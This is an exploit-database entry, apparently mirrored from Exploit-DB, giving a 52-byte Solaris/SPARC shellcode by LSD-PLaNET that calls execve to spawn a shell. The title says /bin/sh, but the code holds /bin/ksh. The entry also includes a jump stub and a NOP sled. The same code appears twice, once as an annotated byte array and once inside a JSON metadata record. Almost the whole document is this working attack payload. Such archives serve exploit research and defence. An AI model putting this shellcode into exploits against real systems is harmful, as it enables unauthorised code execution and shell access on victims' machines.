Search...

solaris/SPARC execve /bin/sh 52 bytes

2004-09-26T00:00:00

ID EDB-ID:13494
Type exploitdb
Reporter LSD-PLaNET
Modified 2004-09-26T00:00:00

Description

solaris/SPARC execve /bin/sh 52 bytes. Shellcode exploit for solaris_sparc platform

                                        
                                            //Solaris/Sparc - LSD
char shellcode[]=
    "\x20\xbf\xff\xff"     /* bn,a    &lt;shellcode-4&gt;        */
    "\x20\xbf\xff\xff"     /* bn,a    &lt;shellcode&gt;          */
    "\x7f\xff\xff\xff"     /* call    &lt;shellcode+4&gt;        */
    "\x90\x03\xe0\x20"     /* add     %o7,32,%o0           */
    "\x92\x02\x20\x10"     /* add     %o0,16,%o1           */
    "\xc0\x22\x20\x08"     /* st      %g0,[%o0+8]          */
    "\xd0\x22\x20\x10"     /* st      %o0,[%o0+16]         */
    "\xc0\x22\x20\x14"     /* st      %g0,[%o0+20]         */
    "\x82\x10\x20\x0b"     /* mov     0xb,%g1              */
    "\x91\xd0\x20\x08"     /* ta      8                    */
    "/bin/ksh"
;

char jump[]=
    "\x81\xc3\xe0\x08"     /* jmp     %o7+8                */
    "\x90\x10\x00\x0e"     /* mov     %sp,%o0              */
;

static char nop[]="\x80\x1c\x40\x11";

# milw0rm.com [2004-09-26]

JSON Vulners Source

Initial Source

{"id": "EDB-ID:13494", "type": "exploitdb", "bulletinFamily": "exploit", "title": "solaris/SPARC execve /bin/sh 52 bytes", "description": "solaris/SPARC execve /bin/sh 52 bytes. Shellcode exploit for solaris_sparc platform", "published": "2004-09-26T00:00:00", "modified": "2004-09-26T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/13494/", "reporter": "LSD-PLaNET", "references": [], "cvelist": [], "lastseen": "2016-02-01T18:04:48", "viewCount": 7, "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2016-02-01T18:04:48", "rev": 2}, "dependencies": {"references": [], "modified": "2016-02-01T18:04:48", "rev": 2}, "vulnersScore": 0.1}, "sourceHref": "https://www.exploit-db.com/download/13494/", "sourceData": "//Solaris/Sparc - LSD\r\nchar shellcode[]=\r\n \"\\x20\\xbf\\xff\\xff\" /* bn,a <shellcode-4> */\r\n \"\\x20\\xbf\\xff\\xff\" /* bn,a <shellcode> */\r\n \"\\x7f\\xff\\xff\\xff\" /* call <shellcode+4> */\r\n \"\\x90\\x03\\xe0\\x20\" /* add %o7,32,%o0 */\r\n \"\\x92\\x02\\x20\\x10\" /* add %o0,16,%o1 */\r\n \"\\xc0\\x22\\x20\\x08\" /* st %g0,[%o0+8] */\r\n \"\\xd0\\x22\\x20\\x10\" /* st %o0,[%o0+16] */\r\n \"\\xc0\\x22\\x20\\x14\" /* st %g0,[%o0+20] */\r\n \"\\x82\\x10\\x20\\x0b\" /* mov 0xb,%g1 */\r\n \"\\x91\\xd0\\x20\\x08\" /* ta 8 */\r\n \"/bin/ksh\"\r\n;\r\n\r\nchar jump[]=\r\n \"\\x81\\xc3\\xe0\\x08\" /* jmp %o7+8 */\r\n \"\\x90\\x10\\x00\\x0e\" /* mov %sp,%o0 */\r\n;\r\n\r\nstatic char nop[]=\"\\x80\\x1c\\x40\\x11\";\n\n# milw0rm.com [2004-09-26]", "osvdbidlist": []}